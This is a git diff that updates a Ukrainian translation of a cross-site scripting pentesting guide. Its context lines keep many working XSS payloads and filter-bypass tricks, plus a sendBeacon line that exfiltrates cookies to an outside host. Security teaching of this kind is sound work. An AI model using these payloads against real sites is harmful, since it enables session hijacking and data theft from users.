Translated ['src/pentesting-web/xss-cross-site-scripting/README.md'] to

This commit is contained in:
Translator 2025-02-04 22:43:56 +00:00
parent 3074a3a626
commit bef4b2649c

View File

@ -10,8 +10,8 @@
1. Чи можете ви створити нові HTML теги?
2. Чи можете ви використовувати події або атрибути, що підтримують протокол `javascript:`?
3. Чи можете ви обійти захист?
4. Чи інтерпретується HTML контент будь-яким клієнтським JS двигуном (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи можете ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
4. Чи інтерпретується HTML контент будь-яким клієнтським JS движком (_AngularJS_, _VueJS_, _Mavo_...), ви могли б зловживати [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Якщо ви не можете створити HTML теги, які виконують JS код, чи могли б ви зловживати [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Всередині **HTML тегу**:
1. Чи можете ви вийти в сирий HTML контекст?
2. Чи можете ви створити нові події/атрибути для виконання JS коду?
@ -19,13 +19,13 @@
4. Чи можете ви обійти захист?
3. Всередині **JavaScript коду**:
1. Чи можете ви втекти з тегу `<script>`?
2. Чи можете ви втекти з рядка і виконати інший JS код?
2. Чи можете ви втекти з рядка і виконати різний JS код?
3. Чи ваші введення в шаблонних літералах \`\`?
4. Чи можете ви обійти захист?
4. Javascript **функція**, що **виконується**
1. Ви можете вказати ім'я функції для виконання. наприклад: `?callback=alert(1)`
4. Якщо **використовується**:
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи ваше **контрольоване введення використовується будь-яким sink.**
1. Ви могли б експлуатувати **DOM XSS**, зверніть увагу, як ваше введення контролюється і чи використовується ваше **контрольоване введення будь-яким sink.**
Коли ви працюєте над складним XSS, вам може бути цікаво дізнатися про:
@ -69,12 +69,12 @@ debugging-client-side-js.md
У цьому випадку ваш ввід відображається між **`<script> [...] </script>`** тегами HTML-сторінки, всередині `.js` файлу або всередині атрибута, використовуючи **`javascript:`** протокол:
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку розбирає HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений тег `</script>` знаходиться всередині HTML-коду.
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** свій код і **відновити** JS код (якщо є помилка, він не буде виконаний):
- Якщо відображається між **`<script> [...] </script>`** тегами, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати ввести `</script>` і вийти з цього контексту. Це працює, тому що **браузер спочатку парсить HTML-теги** і лише потім вміст, тому він не помітить, що ваш введений `</script>` тег знаходиться всередині HTML-коду.
- Якщо відображається **всередині JS рядка** і останній трюк не працює, вам потрібно буде **вийти** з рядка, **виконати** ваш код і **відновити** JS код (якщо є помилка, він не буде виконаний):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази**, використовуючи синтаксис `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- Якщо відображається всередині шаблонних літералів, ви можете **вбудувати JS вирази** за допомогою синтаксису `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode кодування** працює для написання **дійсного javascript коду**:
```javascript
alert(1)
@ -92,13 +92,13 @@ js-hoisting.md
### Javascript Function
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в реальному житті, це щось на кшталт: `?callback=callbackFunc`.
Декілька веб-сторінок мають кінцеві точки, які **приймають як параметр ім'я функції для виконання**. Загальний приклад, який можна побачити в дії, це щось на зразок: `?callback=callbackFunc`.
Добрий спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається виконатися, це **модифікувати значення параметра** (наприклад, на 'Vulnerable') і шукати в консолі помилки, такі як:
Добрий спосіб дізнатися, чи щось, що надається безпосередньо користувачем, намагається виконатися, це **змінити значення параметра** (наприклад, на 'Vulnerable') і подивитися в консолі на помилки, такі як:
![](<../../images/image (711).png>)
У разі, якщо це вразливо, ви могли б **викликати alert**, просто надіславши значення: **`?callback=alert(1)`**. Однак, дуже поширено, що ці кінцеві точки **перевіряють вміст**, щоб дозволити лише літери, цифри, крапки та підкреслення (**`[\w\._]`**).
У разі, якщо це вразливо, ви могли б **викликати сповіщення**, просто надіславши значення: **`?callback=alert(1)`**. Однак, дуже поширено, що ці кінцеві точки **перевіряють вміст**, щоб дозволити лише літери, цифри, крапки та підкреслення (**`[\w\._]`**).
Проте, навіть з цим обмеженням, все ще можливо виконати деякі дії. Це пов'язано з тим, що ви можете використовувати ці допустимі символи, щоб **отримати доступ до будь-якого елемента в DOM**:
@ -114,7 +114,7 @@ parentElement
```
Ви також можете спробувати **викликати функції Javascript** безпосередньо: `obj.sales.delOrders`.
Однак, зазвичай кінцеві точки, що виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
Однак, зазвичай кінцеві точки, які виконують вказану функцію, є кінцевими точками без особливо цікавого DOM, **інші сторінки в тому ж походженні** матимуть **більш цікавий DOM** для виконання більшої кількості дій.
Тому, щоб **зловживати цією вразливістю в іншому DOM**, була розроблена експлуатація **Same Origin Method Execution (SOME)**:
@ -132,7 +132,7 @@ dom-xss.md
### **Універсальний XSS**
Ці види XSS можуть бути знайдені **де завгодно**. Вони залежать не лише від експлуатації клієнта веб-додатку, а й від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах та багато іншого.\
Ці види XSS можуть бути знайдені **де завгодно**. Вони не залежать лише від експлуатації клієнта веб-додатку, а від **будь-якого** **контексту**. Ці види **довільного виконання JavaScript** можуть навіть бути використані для отримання **RCE**, **читання** **довільних** **файлів** на клієнтах і серверах, і більше.\
Деякі **приклади**:
{{#ref}}
@ -149,8 +149,8 @@ server-side-xss-dynamic-pdf.md
## Впровадження всередині сирого HTML
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти та впровадити HTML код у цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML кодується** або **видаляється**, або чи він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
Для цих випадків також **пам'ятайте** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
Коли ваш ввід відображається **всередині HTML-сторінки** або ви можете втекти і впровадити HTML код в цьому контексті, **перше**, що вам потрібно зробити, це перевірити, чи можете ви зловживати `<`, щоб створити нові теги: просто спробуйте **відобразити** цей **символ** і перевірте, чи він **HTML кодується** або **видаляється**, або якщо він **відображається без змін**. **Тільки в останньому випадку ви зможете експлуатувати цей випадок**.\
Для цих випадків також **пам'ятайте** про [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Примітка: HTML коментар може бути закритий за допомогою\*\*\*\*\*\***\***\*`-->`\*\***\***\*або \*\*\*\*\*\***`--!>`\*\*_
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати payloads, такі як:
@ -161,12 +161,12 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **брутфорсити, які теги** ви можете створити.\
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **брутфорсити атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
Але, якщо використовується чорний/білий список тегів/атрибутів, вам потрібно буде **перебрати, які теги** ви можете створити.\
Коли ви **знайдете, які теги дозволені**, вам потрібно буде **перебрати атрибути/події** всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
### Брутфорс тегів/подій
### Перебір тегів/подій
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **брутфорсити всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
Перейдіть на [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) і натисніть на _**Скопіювати теги в буфер обміну**_. Потім надішліть їх усі за допомогою Burp intruder і перевірте, чи не було виявлено жодного тегу як шкідливого WAF. Коли ви виявите, які теги ви можете використовувати, ви можете **перебрати всі події**, використовуючи дійсні теги (на тій же веб-сторінці натисніть на _**Скопіювати події в буфер обміну**_ і дотримуйтесь тієї ж процедури, що й раніше).
### Користувацькі теги
@ -243,14 +243,14 @@ onerror=alert`1`
### Неможливо - Dangling Markup
Якщо ви просто вважаєте, що **неможливо створити HTML тег з атрибутом для виконання JS коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
Якщо ви просто вважаєте, що **неможливо створити HTML-тег з атрибутом для виконання JS-коду**, вам слід перевірити [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), оскільки ви можете **експлуатувати** вразливість **без** виконання **JS** коду.
## Впровадження всередині HTML тегу
## Впровадження всередині HTML-тегу
### Всередині тегу/вихід з значення атрибута
Якщо ви **всередині HTML тегу**, перше, що ви можете спробувати, це **вийти** з тегу і використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS код.\
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS код, наприклад, використовуючи деякі пейлоади, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться вони, якщо ваш ввід відображається безпосередньо всередині тегу_):
Якщо ви **всередині HTML-тегу**, перше, що ви можете спробувати, це **вийти** з тегу та використати деякі з технік, згаданих у [попередньому розділі](#injecting-inside-raw-html), щоб виконати JS-код.\
Якщо ви **не можете вийти з тегу**, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякі корисні дані, як (_зауважте, що в цьому прикладі подвійні лапки використовуються для виходу з атрибута, вам не знадобляться, якщо ваш ввід відображається безпосередньо всередині тегу_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,7 +267,7 @@ onerror=alert`1`
```
### Всередині атрибута
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете виконати довільний код, коли на неї натиснуть.\
Навіть якщо ви **не можете вийти з атрибута** (`"` кодується або видаляється), в залежності від **того, який атрибут** відображає ваше значення **якщо ви контролюєте все значення або лише частину** ви зможете це зловживати. Наприклад, якщо ви контролюєте подію, таку як `onclick=`, ви зможете змусити її виконати довільний код при натисканні.\
Ще один цікавий **приклад** - атрибут `href`, де ви можете використовувати протокол `javascript:` для виконання довільного коду: **`href="javascript:alert(1)"`**
**Обхід всередині події за допомогою HTML кодування/URL кодування**
@ -357,7 +357,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Зверніть увагу, що якщо ви спробуєте **використати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **payload**, це **не спрацює**, але ви можете **змішувати їх всередині payload**.
Зверніть увагу, що якщо ви спробуєте **використовувати обидва** `URLencode + HTMLencode` в будь-якому порядку для кодування **payload**, це **не спрацює**, але ви можете **змішувати їх всередині payload**.
**Використання Hex та Octal кодування з `javascript:`**
@ -377,7 +377,7 @@ _**У цьому випадку трюк з HTML-кодуванням та ко
```javascript
<a target="_blank" rel="opener"
```
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank"` та `rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
Якщо ви можете вставити будь-яке URL в довільний **`<a href=`** тег, який містить атрибути **`target="_blank" і rel="opener"`**, перевірте **наступну сторінку для використання цієї поведінки**:
{{#ref}}
../reverse-tab-nabbing.md
@ -408,7 +408,7 @@ Android: %09 %20 %28 %2C %3B
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
І в **meta тегах**:
І в **meta tags**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -426,11 +426,11 @@ onbeforetoggle="alert(2)" />
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Payload XSS буде виглядати приблизно так:** `" accesskey="x" onclick="alert(1)" x="`
**Payload XSS буде щось на зразок цього: `" accesskey="x" onclick="alert(1)" x="`**
### Обхід чорного списку
Вже було розкрито кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
Вже було виявлено кілька трюків з використанням різного кодування в цій секції. Поверніться, щоб дізнатися, де ви можете використовувати:
- **HTML кодування (HTML теги)**
- **Unicode кодування (може бути дійсним JS кодом):** `\u0061lert(1)`
@ -438,17 +438,17 @@ onbeforetoggle="alert(2)" />
- **Шістнадцяткове та вісімкове кодування**
- **кодування даних**
**Обхід для HTML тегів та атрибутів**
**Обходи для HTML тегів та атрибутів**
Прочитайте [Обхід чорного списку попередньої секції](#blacklist-bypasses).
Прочитайте [Обходи чорного списку попередньої секції](#blacklist-bypasses).
**Обхід для JavaScript коду**
**Обходи для JavaScript коду**
Прочитайте [чорний список обходу JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
Прочитайте [чорний список обходів JavaScript наступної секції](#javascript-bypass-blacklists-techniques).
### CSS-Гаджети
Якщо ви знайшли **XSS в дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
Якщо ви знайшли **XSS у дуже маленькій частині** вебу, яка вимагає певної взаємодії (можливо, маленьке посилання в нижньому колонтитулі з елементом onmouseover), ви можете спробувати **змінити простір, який займає цей елемент**, щоб максимізувати ймовірність активації посилання.
Наприклад, ви могли б додати деяке стилювання в елемент, наприклад: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -472,7 +472,7 @@ onbeforetoggle="alert(2)" />
### Вихід з \<script> тегу
Якщо ваш код вставлений в `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
Якщо ваш код вставлений у `<script> [...] var input = 'reflected data' [...] </script>`, ви можете легко **вийти, закривши тег `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -503,7 +503,7 @@ return loop
}
loop``
```
### Закодоване виконання коду
### Виконання коду з кодуванням
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**Заміни пробілів всередині JS коду**
**Заміни пробілів у JS коді**
```javascript
<TAB>
/**/
@ -624,7 +624,7 @@ console.log(arguments);
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
@ -672,6 +672,7 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
@ -738,8 +739,8 @@ top[8680439..toString(30)](1)
```
## **DOM вразливості**
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
Є **JS код**, який використовує **неконтрольовані дані, що контролюються атакуючим**, такі як `location.href`. Атакуючий може зловживати цим, щоб виконати довільний JS код.\
**Через розширення пояснення про** [**DOM вразливості, воно було переміщено на цю сторінку**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
@ -752,7 +753,7 @@ dom-xss.md
### Cookie XSS
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб вставити cookie в весь домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай є self-XSS. Однак, якщо ви знайдете **вразливий піддомен до XSS**, ви можете зловживати цим XSS, щоб інжектувати cookie в цілий домен, викликавши cookie XSS в основному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього ви можете використовувати атаку cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -766,7 +767,7 @@ dom-xss.md
### Віддзеркалення сесії
Якщо ви знайдете деякі self XSS, а веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Якщо ви знайдете деякі self XSS, і веб-сторінка має **віддзеркалення сесії для адміністраторів**, наприклад, дозволяючи клієнтам просити допомогу, щоб адміністратор міг вам допомогти, він буде бачити те, що ви бачите у своїй сесії, але з його сесії.
Ви могли б змусити **адміністратора активувати ваш self XSS** і вкрасти його cookies/сесію.
@ -782,12 +783,12 @@ dom-xss.md
```
### Ruby-On-Rails обход
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обминається, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
Через **RoR масове призначення** цитати вставляються в HTML, а потім обмеження цитат обходиться, і додаткові поля (onfocus) можуть бути додані всередині тегу.\
Приклад форми ([з цього звіту](https://hackerone.com/reports/709336)), якщо ви надішлете payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Пара "Key","Value" буде виведена назад ось так:
Пара "Key","Value" буде відображена назад ось так:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -836,11 +837,11 @@ document['default'+'View'][`\u0061lert`](3)
### Дійсні `<script>` Content-Types для XSS
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви намагаєтеся завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
> Відмовлено у виконанні скрипта з [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (application/octet-stream) не є виконуваним, і строгий контроль MIME-типів увімкнено.
Єдиними **Content-Type**ами, які дозволять Chrome виконати **завантажений скрипт**, є ті, що входять до константи **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Єдиними **Content-Type**ами, які підтримуватимуть Chrome для виконання **завантаженого скрипта**, є ті, що входять до константи **`kSupportedJavascriptTypes`** з [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -896,9 +897,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Ця поведінка була використана в [**цьому звіті**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, оскільки це може викликати XSS.
Ця поведінка була використана в [**цьому звіті**](https://github.com/zwade/yaca/tree/master/solution) для перенаправлення бібліотеки на eval, щоб зловживати нею, що може викликати XSS.
- [**правила спекуляції**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
- [**правиласпекуляції**](https://github.com/WICG/nav-speculation)**:** Ця функція в основному призначена для вирішення деяких проблем, викликаних попереднім рендерингом. Вона працює так:
```html
<script type="speculationrules">
{
@ -914,24 +915,24 @@ import { partition } from "lodash"
}
</script>
```
### Веб-типи вмісту для XSS
### Web Content-Types to XSS
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи вмісту можуть виконувати XSS у всіх браузерах:
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Наступні типи контенту можуть виконувати XSS у всіх браузерах:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? не в списку, але я думаю, що бачив це на CTF)
- text/plain (?? не в списку, але я думаю, що бачив це в CTF)
- application/rss+xml (вимкнено)
- application/atom+xml (вимкнено)
В інших браузерах можуть використовуватися інші **`Content-Types`** для виконання довільного JS, перевірте: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Тип вмісту
### xml Content Type
Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір імен і виконати довільний JS:
Якщо сторінка повертає тип контенту text/xml, можливо вказати простір імен і виконати довільний JS:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -941,9 +942,9 @@ import { partition } from "lodash"
```
### Спеціальні шаблони заміни
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, зловмисник може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Коли використовується щось на кшталт **`"some {{template}} data".replace("{{template}}", <user_input>)`**, атакуючий може використовувати [**спеціальні заміни рядків**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), щоб спробувати обійти деякі захисти: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **втечі JSON рядка** всередині скрипта та виконання довільного коду.
Наприклад, у [**цьому звіті**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) це було використано для **екранування JSON рядка** всередині скрипта та виконання довільного коду.
### Chrome Cache до XSS
@ -999,7 +1000,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
})
```
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з цієї функції для доступу до **`require`**:
Отже, якщо з цього модуля ми можемо **викликати іншу функцію**, можливо використовувати `arguments.callee.caller.arguments[1]` з тієї функції для доступу до **`require`**:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1267,7 +1268,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Ви **не зможете отримати доступ до куків з JavaScript**, якщо у куці встановлено прапор HTTPOnly. Але тут ви маєте [декілька способів обійти цю захист](../hacking-with-cookies/index.html#httponly), якщо вам пощастить.
> Ви **не зможете отримати доступ до куків з JavaScript**, якщо у куку встановлено прапор HTTPOnly. Але тут ви маєте [декілька способів обійти цю захист](../hacking-with-cookies/index.html#httponly), якщо вам пощастить.
### Вкрасти вміст сторінки
```javascript
@ -1360,7 +1361,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_Короткі часи вказують на відповідний порт_ _Довші часи вказують на відсутність відповіді._
Перегляньте список заборонених портів у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Перегляньте список портів, заборонених у Chrome [**тут**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) та у Firefox [**тут**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Поле для запиту облікових даних
```html
@ -1429,7 +1430,7 @@ shadow-dom.md
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Сліпі XSS пейлоади
### Сліпі XSS-пейлоади
Ви також можете використовувати: [https://xsshunter.com/](https://xsshunter.com)
```html
@ -1518,7 +1519,7 @@ xss-in-markdown.md
### XSS у динамічно створеному PDF
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконував довільний JS код**.\
Отже, якщо **бот для створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
Отже, якщо **бот створення PDF знаходить** якийсь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md